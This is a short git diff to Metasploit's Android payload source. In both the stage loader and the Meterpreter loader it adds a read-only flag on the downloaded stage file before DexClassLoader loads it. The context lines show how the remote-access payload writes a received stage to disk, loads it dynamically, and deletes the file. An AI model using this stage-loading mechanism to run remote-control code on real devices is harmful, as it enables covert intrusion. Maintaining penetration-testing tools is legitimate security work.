diff --git a/java/androidpayload/app/src/com/metasploit/stage/Payload.java b/java/androidpayload/app/src/com/metasploit/stage/Payload.java index 62752d2de..ce1306295 100644 --- a/java/androidpayload/app/src/com/metasploit/stage/Payload.java +++ b/java/androidpayload/app/src/com/metasploit/stage/Payload.java @@ -235,6 +235,7 @@ private static void runNextStage(DataInputStream in, OutputStream out, Object[] fop.close(); // Load the stage + file.setReadOnly(); DexClassLoader classLoader = new DexClassLoader(jarPath, path, path, Payload.class.getClassLoader()); Class myClass = classLoader.loadClass(classFile); diff --git a/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java b/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java index 6ec5eafe3..7199bb3f4 100644 --- a/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java +++ b/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java @@ -42,6 +42,7 @@ public void start(DataInputStream in, OutputStream out, Object[] parameters) thr fop.close(); // Load the stage + file.setReadOnly(); DexClassLoader classLoader = new DexClassLoader(filePath, path, path, Meterpreter.class.getClassLoader()); Class myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter"); file.delete();